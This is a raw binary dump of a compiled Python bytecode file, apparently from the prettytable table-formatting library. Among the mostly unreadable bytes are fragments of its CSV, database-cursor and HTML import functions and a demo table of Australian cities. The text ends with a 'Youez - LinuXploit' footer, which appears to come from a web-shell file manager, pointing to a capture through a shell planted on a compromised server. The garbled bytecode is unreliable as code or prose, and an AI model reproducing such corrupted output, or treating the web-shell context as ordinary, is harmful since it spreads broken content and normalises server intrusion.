=/L (rcCs�d|krdkrnndSd|kr0dkr8nndSd|krLdkrTnndSt�t|��rfd	Sd
|krzdks�nd|kr�d
kr�nndSd|kr�dkr�nndSd|kr�dkr�nndS|dkr�dS|dkr�d	SdS)N�!�~riNi��ri�i��ri@0i�0i�0i�0i�i`�i0i>0)r�����)r�)�unicodedataZ	combining�uni_chr)�charrrr�_char_block_widths&.r-c	Cstttttt�d|����S)Nr�)�sum�itermapr-�ord�_re�sub)r�rrrr
/sr
cKs�t���|�d��}|�d�t�||�}tf|�}|r@||_n.trZdd�t	|�D�|_ndd�|�	�D�|_x |D]}|�
dd�|D��qtW|S)NircSsg|]}|���qSr)�strip)rr&rrrrBszfrom_csv.<locals>.<listcomp>cSsg|]}|���qSr)r3)rr&rrrrDscSsg|]}|���qSr)r3)rr&rrrrGs)�csvZSnifferZsniff�read�seek�readerrr>r#�nextrs)�fpr>r]Zdialectr7�tableryrrr�from_csv7s


r;cKsF|jrBtf|�}dd�|jD�|_x|��D]}|�|�q,W|SdS)NcSsg|]}|d�qS)rr)r�colrrrrOsz"from_db_cursor.<locals>.<listcomp>)Zdescriptionrr>Zfetchallrs)Zcursorr]r:ryrrr�from_db_cursorKs
r=c@s<eZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
S)�TableHandlercKs>t�|�||_g|_g|_g|_d|_d|_d|_d|_	dS)Nrr�F)
rr_r]�tables�last_rowr��
max_row_width�active�last_content�is_last_row_header)r\r]rrrr_Vs
zTableHandler.__init__cCs||_|dkrd|_dS)N�thT)rBrD)r\�tagZattrsrrr�handle_starttagaszTableHandler.handle_starttagcCs�|dkr|j��}|j�|�|dkrZ|j�|j|jf�t|jt|j��|_g|_d|_|dkr�|�	|j�}|j
�|�g|_d|_d|_dS)N)rEZtdZtrFr:rg)rCr3r@r�r�rDrrAr�generate_tabler?rB)r\rFZstripped_contentr:rrr�
handle_endtagfs
zTableHandler.handle_endtagcCs|j|7_dS)N)rC)r\�datarrr�handle_dataxszTableHandler.handle_datacCs�tf|j�}x�|jD]~}t|d�|jkr^|jt|d�}x td|�D]}|d�d�qHW|ddkr�|�|d�|d|_q|�	|d�qW|S)zE
        Generates from a list of rows a PrettyTable object.
        rrr1T)
rr]r�rrAr�r��make_fields_uniquer>rs)r\r�r:ryZappendsr�rrrrH{szTableHandler.generate_tablecCsXxRtdt|��D]@}x:t|dt|��D]$}||||kr(||d7<q(WqWdS)zB
        iterates over the row and make each field unique
        rr�'N)r�r)r\rr��jrrrrL�szTableHandler.make_fields_uniqueN)	r r!r"r_rGrIrKrHrLrrrrr>Tsr>cKstf|�}|�|�|jS)z�
    Generates a list of PrettyTables from a string of HTML code. Each <table> in
    the HTML becomes one PrettyTable object.
    )r>Zfeedr?)�	html_coder]�parserrrr�	from_html�s

rQcKsFt|f|�}yt|�dkst�Wntk
r<td��YnX|dS)zf
    Generates a PrettyTables from a string of HTML code which contains only a
    single <table>
    rzDMore than one <table> in provided HTML code!  Use from_html instead.r)rQrr�ru)rOr]r?rrr�
from_html_one�srRcCs�tddddg�}d|_d|_d|jd<d|_d|jd<|�d	d
ddg�|�d
dddg�|�ddddg�|�ddddg�|�ddddg�|�dddd g�|�d!d"d#d$g�t|�dS)%Nz	City nameZAreaZ
PopulationzAnnual RainfallTZ04dz6.1frfZAdelaideiis�gĂ@ZBrisbaneii:Xg������@ZDarwin�piD�g�����ʚ@ZHobartiMi�"g\�@ZSydneyi
i�*Bg33333��@Z	Melbourneii�:g333337�@ZPerthi
iQ�g33333+�@)rr#r$r)r*rirs�print)r&rrr�main�s

rU�__main__)N)2�__version__r�r4r��re�sysr�	itertoolsr*�version_infor#rcrdrb�mapr/r�Ziterzip�chrr+Zhtml.parserrZimapZizipZunichrZhtmlrZcgirIrKr�r�r�r�r�r��compiler1r�objectrr-r
r;r=r>rQrRrUr rrrr�<module> sj
E!
	B



Youez - 2016 - github.com/yon3zu
LinuXploit